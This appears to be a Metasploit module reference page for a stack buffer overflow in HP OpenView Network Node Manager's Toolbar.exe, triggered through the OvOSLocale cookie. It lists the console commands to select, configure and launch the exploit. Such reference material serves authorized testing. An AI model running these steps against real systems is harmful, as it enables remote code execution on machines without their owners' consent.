This module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.0 and 7.53. By sending a CGI request with a specially OvOSLocale cookie to Toolbar.exe, an attacker may be able to execute arbitrary code. Please note that this module only works against a specific build (i.e. NNM 7.53_01195)
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/http/hp_nnm_toolbar_02
msf exploit(hp_nnm_toolbar_02) > show targets
...targets...
msf exploit(hp_nnm_toolbar_02) > set TARGET < target-id >
msf exploit(hp_nnm_toolbar_02) > show options
...show and set options...
msf exploit(hp_nnm_toolbar_02) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
